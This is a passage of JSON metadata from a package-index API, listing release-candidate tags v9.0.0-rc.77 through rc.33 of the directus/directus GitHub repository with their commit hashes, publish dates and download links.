https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.78/manifests"},{"name":"v9.0.0-rc.77","sha":"7a09711c423a3b881d874598021d2d60cd91f1af","kind":"tag","published_at":"2021-06-21T20:11:07.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.77","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.77","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.77","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.77","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.77/manifests"},{"name":"v9.0.0-rc.76","sha":"68774e6f149295554c98837c9909d55743cee9e5","kind":"tag","published_at":"2021-06-14T21:12:52.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.76","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.76","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.76","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.76","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.76/manifests"},{"name":"v9.0.0-rc.75","sha":"779a252ce22733c53da5c14e068d5254e365f3a6","kind":"tag","published_at":"2021-06-10T20:17:33.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.75","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.75","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.75","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.75","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.75/manifests"},{"name":"v9.0.0-rc.74","sha":"735fb74b7e3bb8cebacbb3dcc8ed4808f67cce47","kind":"tag","published_at":"2021-06-07T21:00:21.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.74","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.74","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.74","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.74","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.74/manifests"},{"name":"v9.0.0-rc.73","sha":"ce021e7b702268039ddbdaff434a3d2fba8f8d45","kind":"tag","published_at":"2021-06-04T04:02:40.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.73","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.73","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.73","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.73","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.73/manifests"},{"name":"v9.0.0-rc.72","sha":"2f0099e0db2777ec29b5dc6a46f604f70870ec8e","kind":"tag","published_at":"2021-06-03T23:30:41.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.72","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.72","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.72","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.72","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.72/manifests"},{"name":"v9.0.0-rc.71","sha":"44e443bf99cbf1370aea35b39357ec2287d46d1f","kind":"tag","published_at":"2021-06-02T17:28:27.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.71","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.71","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.71","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.71","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.71/manifests"},{"name":"v9.0.0-rc.70","sha":"a6a354a0ae336ae77a430dfaab7224a68dbfd14e","kind":"tag","published_at":"2021-06-02T00:17:11.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.70","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.70","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.70","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.70","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.70/manifests"},{"name":"v9.0.0-rc.69","sha":"1d7e977eb8650127b2f5c83d529d0b6f188e7d6c","kind":"tag","published_at":"2021-05-17T22:21:50.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.69","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.69","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.69","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.69","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.69/manifests"},{"name":"v9.0.0-rc.68","sha":"8a94ff06edac8c6d01e53269838d999b2853be84","kind":"tag","published_at":"2021-05-15T15:28:40.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.68","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.68","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.68","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.68","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.68/manifests"},{"name":"v9.0.0-rc.67","sha":"4885cd0ca58313f0e4e50bdf6298db4f11d7d490","kind":"tag","published_at":"2021-05-15T03:07:20.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.67","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.67","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.67","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.67","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.67/manifests"},{"name":"v9.0.0-rc.66","sha":"cad0e7b90432661326d182b95f2097d22de723a6","kind":"tag","published_at":"2021-05-14T22:52:47.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.66","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.66","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.66","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.66","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.66/manifests"},{"name":"v9.0.0-rc.65","sha":"24621f3934dc77eb23441331040ed13c676ceffd","kind":"tag","published_at":"2021-05-14T20:27:03.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.65","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.65","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.65","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.65","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.65/manifests"},{"name":"v9.0.0-rc.64","sha":"a86c0832b05cfdc62e2626669dc80a264efd99ac","kind":"tag","published_at":"2021-05-07T20:36:59.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.64","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.64","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.64","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.64","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.64/manifests"},{"name":"v9.0.0-rc.63","sha":"5df6696bc029902b57eb5eb118c6fc39960937ef","kind":"tag","published_at":"2021-05-07T18:42:30.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.63","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.63","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.63","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.63","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.63/manifests"},{"name":"v9.0.0-rc.62","sha":"c653b167298289ff3540ba66b7516350a96f7ac5","kind":"tag","published_at":"2021-05-03T13:32:25.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.62","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.62","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.62","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.62","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.62/manifests"},{"name":"v9.0.0-rc.61","sha":"3e89bcc239a2e967e3d1811bbc274236c8398a00","kind":"tag","published_at":"2021-04-26T22:49:05.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.61","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.61","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.61","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.61","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.61/manifests"},{"name":"v9.0.0-rc.60","sha":"d9b0fc1e339419a9ae4fd954b9e8a6edc4b3bdd8","kind":"tag","published_at":"2021-04-22T21:59:12.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.60","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.60","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.60","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.60","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.60/manifests"},{"name":"v9.0.0-rc.59","sha":"0dfad1e96e31e6df60a4c3e6b5fc2ade06c4f128","kind":"tag","published_at":"2021-04-15T16:09:58.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.59","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.59","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.59","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.59","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.59/manifests"},{"name":"v9.0.0-rc.58","sha":"16b1a4e76e5228d0f906431a3423ebf3d6564a06","kind":"tag","published_at":"2021-04-14T23:52:04.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.58","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.58","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.58","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.58","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.58/manifests"},{"name":"v9.0.0-rc.57","sha":"1bfa128308b9fd45f9c4f860be5b982dccaa115c","kind":"tag","published_at":"2021-04-10T00:30:11.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.57","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.57","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.57","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.57","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.57/manifests"},{"name":"v9.0.0-rc.56","sha":"f8f843e5be40cc7b6f768908121d8ef9fd7005cc","kind":"tag","published_at":"2021-04-08T21:41:54.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.56","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.56","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.56","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.56","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.56/manifests"},{"name":"v9.0.0-rc.55","sha":"73f7ac8f3f187b1c7439b4ffec0f4e13f309a6d5","kind":"tag","published_at":"2021-04-07T17:00:17.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.55","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.55","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.55","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.55","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.55/manifests"},{"name":"v9.0.0-rc.54","sha":"08958fec232e63eb68d6c56db12bb465ddb73889","kind":"tag","published_at":"2021-04-06T22:45:33.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.54","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.54","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.54","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.54","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.54/manifests"},{"name":"v9.0.0-rc.53","sha":"fb91fd57e08a7b8aaf45f07843dcfcfb30222205","kind":"tag","published_at":"2021-03-30T17:17:53.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.53","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.53","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.53","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.53","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.53/manifests"},{"name":"v9.0.0-rc.52","sha":"9b6869e0682de120ab2590ec96f9ba5b535944f4","kind":"tag","published_at":"2021-03-29T18:53:23.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.52","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.52","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.52","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.52","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.52/manifests"},{"name":"v9.0.0-rc.51","sha":"aa15da7c653212ff824c9c85f8fd699b80361c31","kind":"tag","published_at":"2021-03-16T19:56:57.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.51","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.51","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.51","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.51","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.51/manifests"},{"name":"v9.0.0-rc.50","sha":"42507ae52f03423321b117f57fcb7374266cdb65","kind":"tag","published_at":"2021-03-12T23:32:21.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.50","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.50","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.50","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.50","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.50/manifests"},{"name":"v9.0.0-rc.49","sha":"b17f3e0911f2e8b9a393df351b30ccab1a655afb","kind":"tag","published_at":"2021-03-11T23:57:26.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.49","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.49","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.49","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.49","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.49/manifests"},{"name":"v9.0.0-rc.48","sha":"3803333025f315057345c33e94e853017a935a5a","kind":"tag","published_at":"2021-03-11T12:42:16.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.48","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.48","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.48","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.48","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.48/manifests"},{"name":"v9.0.0-rc.47","sha":"71bf628955b5da15ce3070dc09478bc558f243a4","kind":"tag","published_at":"2021-03-11T12:38:27.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.47","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.47","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.47","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.47","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.47/manifests"},{"name":"v9.0.0-rc.46","sha":"33f36d2485e12973145d292cdcf343b909f8ed82","kind":"tag","published_at":"2021-03-10T22:39:32.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.46","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.46","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.46","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.46","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.46/manifests"},{"name":"v9.0.0-rc.45","sha":"87ed604f1872ffb3c4b01a36a4a6554cd08fe385","kind":"tag","published_at":"2021-03-05T23:03:29.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.45","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.45","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.45","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.45","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.45/manifests"},{"name":"v9.0.0-rc.44","sha":"8aedc29aa14cc444a5e22c60b9e0acc8b8078b4f","kind":"tag","published_at":"2021-02-26T22:32:49.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.44","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.44","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.44","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.44","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.44/manifests"},{"name":"v9.0.0-rc.43","sha":"42ab1cce494b19fdff58761275bdebd32020b29e","kind":"tag","published_at":"2021-02-23T22:18:23.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.43","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.43","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.43","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.43","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.43/manifests"},{"name":"v9.0.0-rc.42","sha":"055ebcb69b54038ddb0c2acb6d2ff536a17772c2","kind":"tag","published_at":"2021-02-19T22:22:07.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.42","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.42","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.42","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.42","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.42/manifests"},{"name":"v9.0.0-rc.41","sha":"8d1bd064c6ad87dcbd18c142a75d55c6f915d4c4","kind":"tag","published_at":"2021-02-18T22:14:23.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.41","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.41","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.41","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.41","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.41/manifests"},{"name":"v9.0.0-rc.40","sha":"fbf72b32ac56d7749c45bd3c0c4fb762602f06bc","kind":"tag","published_at":"2021-02-17T01:44:56.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.40","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.40","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.40","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.40","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.40/manifests"},{"name":"v9.0.0-rc.39","sha":"b6837b24cbe772a14798b67b972ac7ccb39064eb","kind":"tag","published_at":"2021-02-16T23:37:46.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.39","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.39","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.39","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.39","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.39/manifests"},{"name":"v9.0.0-rc.38","sha":"b3d0e2bcea98de25586bfa7f3a03e55a8b396171","kind":"tag","published_at":"2021-02-16T17:05:34.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.38","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.38","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.38","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.38","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.38/manifests"},{"name":"v9.0.0-rc.37","sha":"e3fabe22a4eac4fb19d878785cdb4af612a9e775","kind":"tag","published_at":"2021-02-12T23:24:00.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.37","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.37","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.37","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.37","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.37/manifests"},{"name":"v9.0.0-rc.36","sha":"998c0fd1487fe25c4417861c7cf53e9d3d0c5f24","kind":"tag","published_at":"2021-02-11T23:16:56.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.36","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.36","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.36","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.36","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.36/manifests"},{"name":"v9.0.0-rc.35","sha":"9ec8f0d973c1c5a9fdc593a4d7578742e43c3ac5","kind":"tag","published_at":"2021-02-11T18:24:00.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.35","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.35","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.35","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.35/manifests"},{"name":"v9.0.0-rc.34","sha":"b2263e614a8f727d7d9f7a2a716a73028db15443","kind":"tag","published_at":"2021-01-29T22:14:13.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.34","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.34/manifests"},{"name":"v9.0.0-rc.33","sha":"91cb0cc58fd281b912f55dd3229